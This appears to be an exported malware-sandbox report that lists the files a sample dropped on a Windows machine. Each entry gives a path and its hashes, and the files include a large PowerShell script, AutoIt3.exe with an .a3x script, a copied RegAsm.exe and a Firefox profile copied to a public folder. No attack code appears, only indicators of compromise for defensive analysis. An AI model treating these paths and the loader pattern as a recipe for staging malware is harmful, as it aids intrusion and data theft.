SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 dfbce426fd533bd40a5de2324aa9ee8e970fbfb0754ffe7104372d52e934cd0a
MD5 3b0fd1ff8691b1788fa26ada71f32766
SHA1 e4d733dd28d5a26bd94b70283c2c718b0b336296
SHA512 617bec3b47098f851593c09ed87f3e2ea56ca5e1f588952e702079e54f275b24fedfb9fc084c75e3cd2d59d3881ee833c22f073783d8f45767824b94a99bac14
SSDEEP 96:CC0d+TWqN/K890wxi+9M7fX3urjUBdyRDotok5np0cDCB6vGyvtBWG0cK3bOv4a:CC0oWqNVVxi+9oP8DUDp0KCDeW9cK3bQ
TLSH
T132A12B31A879997789F6D485B1462E538F7970AFA621DFD4E8EE1D1C10F30DC0342527
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2faa1b1440ef2e1a669881f74143ac7857706d1524c89e682f713c8f3d38ab23
MD5 6a131a77b0edda45a2895a3d33a867a0
SHA1 2be1a2b3794fa396138562716cc7e4a4f17caa66
SHA512 20cb3d576349a78e3fec9e8b5e0726835f04e7dd74bb2a15edba4417611cdd35bc2d2525fdae7879e8d01d4643f26df1c05a44fb125105ad0bcee8ccd0257571
TLSH
T1F6D02B3176B99CA1D193103D00C386A014BAB0009C0501843B22C0050C401091330206
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 4fc7dcf7387fe20ebfe8604da12039dc01420b7c4f9203598cac361fa8e97926
MD5 c3187641f7a33614939d03f0d43ad5e0
SHA1 82b3d0d3fa3092b29b9c8b55ce9fb9bba31c9c23
SHA512 ac0b9a042b5883e5cb0458cdeae19e251d85b3b88bb576dec24d66444085275504065eccb22c8674162977df0a0d2f69723a5923be85a9c5ea85f46af2ce9edc
TLSH
T13FD02B3176B99CA1D193103900C286A014BAB000EC0501843A2280050C40109133120A
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\ca3c23a5-0b45-49bd-9fac-532a302f4fc7\index-dir\the-real-index
Size 120B
SHA256 b3ee27b848e2485d19a284c4915884237b0cd6e79ee0390f7fc708fe4d99a658
MD5 9726d4761a5f34aceb5b4e4406ac76e1
SHA1 8be4425df20986bf4cbff840f6df0eb08366d192
SHA512 14b65d1304a89e2f23dbb8f61e9ca141c80d56757e789b978115f98523f50cfe9d362d4cc31e2c16efdbba2aaccfd8f33811ee926f67814dd6140f9937a610b7
TLSH
T1B0B012504D413640FC3249300D3E23212A6048ED6510039204EDD200ED775DE8000104
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59bfeb.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\ca3c23a5-0b45-49bd-9fac-532a302f4fc7\index-dir\the-real-index~RFe59bfeb.TMP
Size 120B
SHA256 51c7fca8704a6f8a1250ba705082a129946e48124fe690e9f766b4b791061dfa
MD5 5dd7c939e04fdeb2885bb3571b49148a
SHA1 3e758c898d0106d51722bbd31734901c011b9e06
SHA512 83bc604900d8cf374192f1bc78a6b96c0cf65bbac7121c63753bb2be8b318c84b788be0585037ee5ab0678802ea11243f15174d978a5105db899946f3c2e8224
TLSH
T1ADB012108E403940FC574170584B033125014C28D030133304F681045E530D44200240
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 0b9c4608bf3f0b1dd731c808cd847d9e48f1b7da1263501a13f44f6d94cda652
MD5 75e0e6be2ba9fa4cce386022d19e89f1
SHA1 f49cb32985eb82f64a0b5b44484959872525ea78
SHA512 053775288bb18e7bedbe56716a0dd1135474c59e2bfb63c1504bf710b063c151e3cc2914d43f615bec05d07940d0fbe6d399861bb4998946125a22b213023f9f
SSDEEP 768:U/UxvxjgC+B3Qyjogm1m2OtDmGA5b65Q92RQMPbLFj0O:BZj3+B3RZ3AF65dQ8FQO
TLSH
T15103CF36EC90AEB39CF95280374BB35AAFB84073D1C956A049F96F1D06C768D430B85B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 1ff5f95c1f82988933e23cd6048bbe5074c8b73ea654564548ab89f7c37bbdd4
MD5 f8a06a32cd7a0834935b2ff069e2a1f4
SHA1 f1f6c4272e7bfc41062fb091775e1f73234a936c
SHA512 2d6b86aee74cf777198413924784cdb54dc5f6f5ea947f0b33db5f1f2306f11dac6472533eb8e0afb534a9865d9564e62665f62d4adef341c7a579583c3447b3
SSDEEP 1536:iKLAozYoNz8zMSfKQDxflJneHY/h4iUxkaT/JKO8pv/cOdBvuV3CNBQkj2CaVVk3:iKLAozYoNz8zMSfKQDxflJnUY/qiUfrI
TLSH
T14F637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 20KB
SHA256 8e3942af1e28a896c5828f7055e592ae095ba4b38ce2c2141790da1f5c72ffa9
MD5 650c5a30953076ae312c839f5eec0f01
SHA1 8cd8cbaba77912ad1c2482c0f9412bfb233a561a
SHA512 9a8c632cdcf35e339e8217e5f2069f037c1f5dc8b7aa300cb09e9c6b07967f61b11a0f8c159b9fac0d5c437fedf28e6d657ece381f9c8a20a9c243c1e27dd2ec
SSDEEP 384:+1eBaGH1ijsGW14b2/9R27yKEPJ56L2PnlIAbDjQZGlB2tEBMjv5bhN5+aoaPuj/:uenV8fWiK/W739a9IAbDjQZdJlbhNIPh
TLSH
T171A2C768123F7DC7D8C512B415D502E7FBE4D048EA7525A4EF2BDE2B4CA0BB74EA1920
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1rclettm.dll

Path C:\Users\Admin\AppData\Local\Temp\1rclettm\1rclettm.dll
Size 3KB
SHA256 c1dd2b49ef8449c36cc4e35421ba5bb35862e0dc3ac5fa63d162855c31b23487
MD5 d488465b4587dcff7fcfd05e89ea0fbd
SHA1 da3a1fad032bdb0ec3bc30de3eebe9a7b01d86b7
SHA512 4a306d550a4b42eab1ce98d87d8817c6001942ddb9be1b32c22f5cdd1a3ca980dac918f38d646df6f409c84b3fa98439645cc80a3b2d2d6c7237d47c09c7b9c9
TLSH
T14351A81BA7E9456BF4A70730AEF3431236B4F8609F72976E4D81422D6C207649E22FB1
MD5 SHA1 SHA512 TLSH

Submit Download

RES1F51.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES1F51.tmp
Size 1KB
SHA256 e3d14c7b8f204a0e4ada9e1dfb3a4e40cf487d04d64ffc83075489a03b6cb360
MD5 1c9905ac105a0c11829a63801e97cc0e
SHA1 4f08eaef7a6c5f0480c8bded67f9fe34b81a1d35
SHA512 6fa6983544050d964a2b9ca169dd33a2073e6e0a55d61c4d0b01eabcd58b6a4ad79338afcb594cd74deab82e647af3edf8fb1ab6f16a43f4bf421ae6838dfed6
TLSH
T14B21020853E8470EF0B7473169F6572F9674FD65EFA2576A4440022C2C11500EEA0F72
MD5 SHA1 SHA512 TLSH

Submit Download

RES2220.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES2220.tmp
Size 1KB
SHA256 bc0506f4ddbde84ab0c755f401edd738b781f05b79910baf26b6ce8e16edc5db
MD5 8325de38ae114e1c9a3ab39bddc7dd5b
SHA1 1ebec4d818413a64fb661c24cbb7d3f25394afb7
SHA512 e801d8b30cc043ff55788c4fb62bdd615bcd6421fda01671a2ebac5caa9e3d4ba604ed5e983d02784bca11009498e1a2b2b1c72b53aeb9d1fe43e4b4ff191e18
TLSH
T1A721660593E84B1FF0B75B31BDFA172FA275FD64EFA2935A954042282C11644EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

RES3677.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3677.tmp
Size 1KB
SHA256 579c3937c44bace61c5aa4bdb51a1fbc2352b883c0aaa308e64c0c7e85e537fb
MD5 ef68be58b1c81bc3f1e1429e8b42bb98
SHA1 b8c1c705ee2420ea5cc41020cbd4f3d2c77ea3bc
SHA512 cb642643bfd4f4339b04ae93174110ad66fe13f526d0915e42f73f03c25dc19913efcc789f927bf8e9064f3e23b2f8a218ff78da2f49ddfdb51b42066f94a269
TLSH
T1A621AA0543E9470EF07757316EF6171B92B4FDA5EEA1975A4440422C2C12504EEA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

RES3FCE.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3FCE.tmp
Size 1KB
SHA256 258f52824ced8c8a94abfa1ff98d350f50bbad3fe0728366208715d850027035
MD5 0e6f5a3154cb846b2fe21a4251b97b59
SHA1 670dc02f1d9544f2f45d11cdd07ac86704f04b42
SHA512 a9e30ceefa8be15f966f4f2e042af49641bb5ace2c50ccac97f1711fb699a97f79831b232e0b0d768d54dc1c31d2da4b3b8eb8c1ae4821b98f26ee8224c78a34
TLSH
T10B21A60A83EC4B1EF073573169FA172BA274FD64EFA2A36A8540422C2C01504EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0si3efid.fge.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0si3efid.fge.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

hucjvxty.dll

Path C:\Users\Admin\AppData\Local\Temp\hucjvxty\hucjvxty.dll
Size 3KB
SHA256 12dac8d21ee03aaae16e2c9e39ff19c90734a7084d53a559e889c5436571ef24
MD5 d49c431dabe310cbaa9f867706cd0b57
SHA1 f40d163f7b86156cb096cc892210c9d46885471d
SHA512 da059d31f7b51c8e82ff546a592b0a90d6e6073b50692eed143f5c12e4d4bd8c69935d1cf47f3d1aaf7e86aafd796f868e3f9e56c6d8af2752dd3e3ea5f6f225
TLSH
T1D451AA2AA7E84527F4B707306EE3031726A4F8A08B7397694D81526DAC613245E21FB1
MD5 SHA1 SHA512 TLSH

Submit Download

j1kfjnc2.dll

Path C:\Users\Admin\AppData\Local\Temp\j1kfjnc2\j1kfjnc2.dll
Size 3KB
SHA256 58fd43e78ff2fc1d6186b3ddb2de377c3b994cfe6aefdbfa2f5ada6c14442c64
MD5 6820dcf7ee2a5f7e9109048457e0565d
SHA1 cf7a19dd4990769f6e7ce877fa9ccc7f67ec4182
SHA512 02a19a4792914df59aba06733f306ef0a962d955ed7aaab217092e352b13556b4cb05ad96fbffb9281822fcdff25eaca99e40d53633e968e8d09ecbc233f4e7c
TLSH
T1DC51AA1BA7E44A2BE4A747745EF343232AB4B8608B7397695D81436DAC217246E21FB0
MD5 SHA1 SHA512 TLSH

Submit Download

remote-settings-startup-bundle-

Path C:\Users\Admin\AppData\Local\Temp\remote-settings-startup-bundle-
Size 562KB
SHA256 728ae527534cfef61e6085b4e0c71fb874c8f6eca115598099f2dbca27da4957
MD5 8d9ceb79f33bda5bcff578ed0262fa8a
SHA1 0d980ad8f7020a44ff7d22ac1fdc466f40587822
SHA512 0cd52dfaf7803596912b60c00551cfaec2d8f50d3f054e6c1e0967218b11622810858c9a097f609bd6fd4b098fb02fbc60e5f8258e17399841231aebc04b6b42
SSDEEP 12288:cLPmQMxFpMEdt+nZu9RmAAAh11X0aVl5Ud9Yk6uwcLy2e6PaW4nebUlG:CPCFOEdt+nZu9RmAHhnFaXF7jGvhjZG
TLSH
T1E3C4F2F9F7607CE3977E430B9D8A7EAD1B625222874FA0CC543B5BC2455372AAF68404
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir2508_1283675245\CRX_INSTALL\_locales\en\messages.json
Size 450B
SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
MD5 dbedf86fa9afb3a23dbb126674f166d2
SHA1 5628affbcf6f897b9d7fd9c17deb9aa75036f1cc
SHA512 931d7ba6da84d4bb073815540f35126f2f035a71bfe460f3ccaed25ad7c1b1792ab36cd7207b99fddf5eaf8872250b54a8958cf5827608f0640e8aafe11e0071
TLSH
T1D3F055CB9000FC5E538BC00EB10072282BA603E01AD1726724EC1C0E67DFDAEB143F9A
MD5 SHA1 SHA512 TLSH

Submit Download

tfpn4pIDFporf8lH.ps1

Path C:\Users\Admin\AppData\Local\Temp\tfpn4pD5TgqvL310\tfpn4pIDFporf8lH.ps1
Size 993KB
SHA256 92446e8991df1adcf1e5709aabab3e803fb9215f351747f4a04609c53f6933d4
MD5 598ac77a7fd67b0cf883211a78053a81
SHA1 22646ac2c4377970a1dd495b40e240ffc69199ec
SHA512 0463598d24ac26ae00e4ff42f2d6664dc12735d1ed15484f1364d21b74cfedfd3d8d9458eaaa5d2e1e9884d448f78b64284bb4fe0854a365504dcd6f4318634d
SSDEEP 12288:Bo12OORhg3VzKHdvK5RBQHq9zS55qCOnNPAbdFYeJbFUzSn/YbhiCSl21OqoL9dL:3hh+Iyp38rNRxgxe
TLSH
T12425721539C1A365264EDCB72C814C1D9BC9F533D38E680D7ACE55C4BF87AB886E8878
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tly24k4l.dll

Path C:\Users\Admin\AppData\Local\Temp\tly24k4l\tly24k4l.dll
Size 3KB
SHA256 fde5260682165ff8c715b58072f2d7960efc9650b0d14ae2544f4ed9609b9b61
MD5 e7c773c5be94fb994e9c7a352de0cb99
SHA1 28c943682c696546376d6ae9e1ddc371784a40ff
SHA512 656cb83afb97e629794898952c371eb81f8f29aac1773170924e0b772d2392b36e18f449587da664a7bc7d2e429c97e778131b5607d9e9afe5c541f0eeeff650
TLSH
T16551661BA7E8462BE4A70734AEF3435633B4F8609B72976A4D81432DAC107645E21FA1
MD5 SHA1 SHA512 TLSH

Submit Download

AutoIt3.exe

Path C:\Users\Admin\AppData\Roaming\18cc7d25a7d6\AutoIt3.exe
Size 1.1MB
SHA256 5d69a932a077fee044b193c28e84564143f5c7e51079ab48e88fef74ab0b77b7
MD5 80cdd5f19d704a001589976bae277bab
SHA1 96bb030389ac938c5ebc6bd2e9fcc86a10e5f2fd
SHA512 03fbfd02d348c2b54af3eeb022ae2f1be4e4f9b30352ceb2c7589233275a914ec4fd81ff8c1544bebf96a87e28c75fd81811e658f092536367395048a82bf8fa
SSDEEP 24576:HsTBc4JYoji1a2gOI6fQJ77jkD1KV3wKct4frNFOB:MTC4a4p+E72SwRcrK
TLSH
T1DA356C0673A4419EFEA7F1329607C60BD6B17C4A07779A6F02646B626F337711A2E331
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Fabrics.a3x

Path C:\Users\Admin\AppData\Roaming\18cc7d25a7d6\Fabrics.a3x
Size 1.2MB
SHA256 11630873f322c788d5b8cbde26e9214bced21f5a3b317a2529f02e7c8d756ddc
MD5 a949348dd547855fdb650e004fe0f5e1
SHA1 fe8fb752581ffea530e67db2b638491e38f59343
SHA512 5847f8f10f4c616a1c1fb0afba759bbb5efb2c2c7fe0b9405477f14c0622288f7138e1e3e8edc78b7b1b8065950a98d960980407b58432ec551294e056864b38
SSDEEP 24576:WPooWlCLnjQp5xFBenWyxBmGQJ2fAC4YpcUe0/GmcYGPgj9W66Ik:DlC7UBfeTxwGQJgABdR/VaR6r
TLSH
T140453381BDA4C11C2D7C630B199F7B237E6DDB06A68A850CBC65237F18D3168B6C7927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RegAsm.exe

Path C:\Users\Admin\AppData\Roaming\18cc7d25a7d6\RegAsm.exe
Size 56KB
SHA256 637e94578d6d361157bc614fd5fe1dde5b2ed0ba5e7cd02c6c473c85baf9ea11
MD5 6637e3322bcc3d7876e4e0eb03d6f18a
SHA1 ca9d4f94690958ee74a647d9da5c17229363fa10
SHA512 cdb50bb605e33cd943fcdb2023780f7250f3bdbc173524dc703190b677774e0b736c2e528540b18e0c9640bdb417802e5abbb4ff4c8b4697f33947e9fbbace29
SSDEEP 768:d8XLJGvPvv7VnZDJbn8dBhFw2oMF6Iq8yiYDKVd04N4Epg9zuW:Wwvnv79fb8dBn3hsXDKVdtN49zuW
TLSH
T14043D614A7E84216F6FB4BB2ADF5C0479936B953AD65D75C348D434D0B22380CA23BBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AABAB860D2646FDCEACF8AAC0CD412654CE5E4C0

Path C:\Users\Public\.ff_tmp\cache2\entries\AABAB860D2646FDCEACF8AAC0CD412654CE5E4C0
Size 16KB
SHA256 399584d2e2b5c56ce4ddbfc5d9ae6305708cc087053f1fb0cc31b9e89367c0f5
MD5 90e73d01dc2afb9164d4cc52fe85496f
SHA1 d0323b7aed31124d2cde8b8608b79fd588b5fc58
SHA512 6ee056a1ced083bf2dd6182c842f6b0f9c7dbb0e5a070d64b9cb1b65bc6fcfa83a0a321a9d1c2c22512f75f95d00ce50d1144931bf6fdfa228072371cb8caead
SSDEEP 384:HalwSiO024YaWTT78XJWTT78gB7SOEAd9KVRaAcP+AWRMA8L+8S+R:6l8ZYaWTToXJWTTogB7S/AmVAf+hRMlJ
TLSH
T1E7728E7D8F013CAC265790E8C8BA43658D18B3A7DFF5C06D119C3E09CA94A5A71F984E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 663B
SHA256 6e9fc8c23f1d78889f65a6e3a3bb0c893c434462191822854812aa01ca0b6d54
MD5 1d9c0612d025090d2fa9d50f8efcb7b1
SHA1 6af5674feaf947840d5d2a62dde4f0a356bb0846
SHA512 d78ee1162a60efa14e2d90fa7d260efbb87fa393b7ec1173f160d9c7e90effc5fb87b54644cf7a1932d735b0c4ca289437cba203b92b26618c7fc64f9b922577
TLSH
T17E019085E7689136E449C23ECC57AB224B306022C8CAFF11356C610C9E1A61936AD43D
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 b4a680ba85745909623a7fa0c04a59324e5c5a78b9e8d50aeabfbd2ad3d86683
MD5 6b397d9cb5b368416d87f6efdf43f6a7
SHA1 3b9902018d14316bede2411a86c9ff13ac17b236
SHA512 b09ebc7a285e0b0d32bca99bcfdee7f353b6e9f44ad93f8efd5fdd88d0b472fb19fe62774b672c7730c132efcc66e240f99be5fe4d81054e1335d3dba80a53d3
SSDEEP 192:fdn31d66JoztdzgCl6mBM2ONOv5zboYRs8Iyj1rc:bd66Joz/zgC1Ouboss8Iyj
TLSH
T192E10FA8E628863EC41403BBDCA11F454F35399ADC8E2F1975AC201D2D5B2DE369E1BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 1KB
SHA256 773c7c6f7136c5954f5b437988bb4e736428bd1a9e548677ec75d9854525cd1f
MD5 d1479af32e5829b9adef01978d2800cf
SHA1 393136260322c71bbdf8aa81faf43b1ab12a00a8
SHA512 6e6a10a7c6168ba3e15b13fa9d08b323fcadb49aaf2b1c51bc857ed7cac4dc9004c5b75868764857dbddec5eccdfa1b815659b2b20795704d7f4ab23cff72a45
TLSH
T150310659F628963AE448C23ECC666B118F307025D48FBF1535ACA00C5E4E79D7ADD53D
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 2KB
SHA256 c6c967cf85d5f3a878aafc33b031b901e8a8f923c7d06ed7f9bb57d5da934f1a
MD5 a2e6670801f75d99fb103ca4ebad8185
SHA1 28361ead16e6fcbf934947c5e264a47296038878
SHA512 cf364f74f8367d788802426188f4bb93fbea03c05c9434b11c96fe5f30e0f5111045d7b8a42820745433ad225bb30adeb4aaa48065f6e70741f50dd25ef99beb
TLSH
T18F516658E628863EE445813ADC569B005F747415E86E6F2B35AC604E2E073CE3B8D07E
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 2KB
SHA256 e2f3c2ad0b024d51841c5269a704f55805fce95a4bc205f49ace21a923d84ea3
MD5 a4b1b5c58cec61c6570d4cc7ed02b0b6
SHA1 4f09eeb9c7f0411f90558a843128ef0e3cff81f0
SHA512 40a3b102a6e76ae1325a1761541f4848db1677cd9711634a669cb0913da838524a28ba6a166023c9dc7975f447e170ec3d078f0a2de920b3b70bf956b77aea8d
TLSH
T135515759F629863FE445813ADC565B009F747419E86E6F2A35AC604E1E0B3CE3BCD07E
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 3KB
SHA256 181cbf09237cd6564efd33c4d6ccc5923fac976d489e08d84779d37dadd9655e
MD5 932ec0e3ae908d0a45c68780a9999ab2
SHA1 fb419ff46d5dd4b2ed582ab34b0e3e6b841d7c27
SHA512 d988f029d5063c3bfd975bd84977c51b56fac90395a2cc509e4df1484d665b7c19181f1367201a1581e81f3bb1ebd9655161166cc4f7af21c0086970a2701b57
TLSH
T1B761B958F628863FD445413ECDA64B004F747599E86E2F2A31AC644E2E4B3DE3ACD07E
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 4KB
SHA256 7f3cdc1c23ad58b177dad7eb21e304591f33516c4d65686897151e2ffad9e20c
MD5 66207c408173541c8546fe6cf687f4a1
SHA1 1c1e8285d2d34630d18b0495cb229cbe0425c681
SHA512 bfe1b77dffa51bc12ff95fa409d99cae0645672853d5946efd9886e333098e7c8e3efcfafbc249bc35e214a788dd68918d5d226e655e45743c6b04c648d070b8
SSDEEP 96:zSdF95/7bkW6ArlyUR6ax1W1Fl+Fl3/dd66JoztdzgClKtmBM2/:zOv5zbo8lyj0cNG31d66JoztdzgCl6mh
TLSH
T146A1AA68E628863FC444533ACCA21B004F3A394AD84D7F1A36EC74193D5B2DE368D1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 5KB
SHA256 7327e7000cd2cd7df5cfac2accae6e23f8a3759c9fdb258abcc72f3754a782c6
MD5 5a898c3f029ab56295ce67644f56d0a9
SHA1 4a6ba239cb19a1df278823d442f8e2a2edacf906
SHA512 c4a6a61027db875f7d7ad31b731cca181be51487d5274de1c121a6e55a71294373c3195657c1955847d93afacda37daab01abe7fe104294cceaba52d2951ac6c
SSDEEP 96:KFl+Fl3/dd66JoztdzgClKtmBM2/DypHSdF95/7bkW6ArW8qHyUR6Vx1WD:iG31d66JoztdzgCl6mBM2uNOv5zbo8Wn
TLSH
T122C1FCA4E628863FC404537BCCA11B044F76399ADC8D3F1A35AC60192D5B2AE368E1BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 5KB
SHA256 3584becbf0bd2f207939af2a28dcc5165ae902b376ece50fe69b38c814c468ff
MD5 802af2530c5160980a04b6f5c6463cc0
SHA1 190de730932435026c76f093c474ed74bc665d9d
SHA512 1a4fadadb0354f61c6588fe9e54327a819142fcba4f09aa4ec6fd766615a0fd3f23ed3c38714c7cb7151e08b7ffd6a12387ab90992b60b197b8178ac2ef3297e
SSDEEP 96:NypHSdF95/7bkW6ArW8qHyUR61Njx1WaFl+Fl3/dd66JoztdzgClKtmBM2/U:cNOv5zbo8W8Iyj1rcSG31d66Joztdzgs
TLSH
T1EAC1FEA4E638863FC404537BDCA11B054F76395ADC8D3F1A359C211D2D5B2AE368D1BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Public\.ff_tmp\datareporting\glean\events\events
Size 2KB
SHA256 f4bfee631898e73cac7094bdf76473a98228a3cd8c0723ab2e85e387c9f3d891
MD5 91356ade153869c7315fa785907c410e
SHA1 685b75e460636c1ac88db4352f0ad9878f0a4aaa
SHA512 2066461d923250ae68fe54862bca5989c7cc243da16fa432e033ee1805d00846e1f32c5f7bac6e2d9cfcc327482d0aa1051936363ce56e00efefb0c30c6564fd
TLSH
T10D41AA5D3BA58C65DDC7F3DC1091428BA3B5096B95262E437D31EBCACC806D5326983C
MD5 SHA1 SHA512 TLSH

Submit Download

4c41f70a-13c8-49db-ab6f-e3ab570aa7ca

Path C:\Users\Public\.ff_tmp\datareporting\glean\pending_pings\4c41f70a-13c8-49db-ab6f-e3ab570aa7ca
Size 796B
SHA256 900daa9178b5d0ea422d830fab1d113ed87b69e41f4d8ac1e09ce44e9c952ade
MD5 d89ca3dadbfb36e8967d2807ab7b300f
SHA1 a14f69735d2a6e6f1e16d54a3c331f9990362368
SHA512 8b649134540c48113b7849beef8ce8f68a277bc267fe15ec9216ccd3496ceac169a7eaec09732562faed82841f805478a013b13f5fe1fe8a98b35d3a95fd91f8
TLSH
T1EC01F1518238B572CD38D68BC8A13B8587E47523C4C999187FB196090DEA21E777970B
MD5 SHA1 SHA512 TLSH

Submit Download

aa13a51d-b495-468a-835e-6d17d7eab91d

Path C:\Users\Public\.ff_tmp\datareporting\glean\pending_pings\aa13a51d-b495-468a-835e-6d17d7eab91d
Size 235B
SHA256 6fdbe88e371fe297fda9c35fd21d8c959754e1ade3ad73aec846905c38e048ce
MD5 734a7161138d11b0653a90711cc06437
SHA1 b4927dd985243a98408481fbbf5473c22b9b30b3
SHA512 8d9bcdd2dce91a14eda8e851790b8ad9d2e2ac02112acdc889f278c00bf887663826c33e864cede91cf3d3c7a1b0e28745e0499b9314d62d5894b0b793004379
TLSH
T1E3D097809888732C0C240F03F0A069C230AA4D37107568A0DD605434D9BDAC4A291857
MD5 SHA1 SHA512 TLSH

Submit Download

prefs-1.js

Path C:\Users\Public\.ff_tmp\prefs-1.js
Size 6KB
SHA256 6a05b5c472179f8617b2d090a315cf86bda8762bcadc5b7b2180f33200f42402
MD5 61793203f7de32409782effc90344777
SHA1 f7df24ac481c9c605dec6fc474ba7f87d3037fe2
SHA512 faebb39fde6382270c5db61d580a3a73f1060aa60dd22518419d908c5a718694ccbf904941bc3dae6165cdc2a8586294c726cf1b415ad7f15d712e2013f4460d
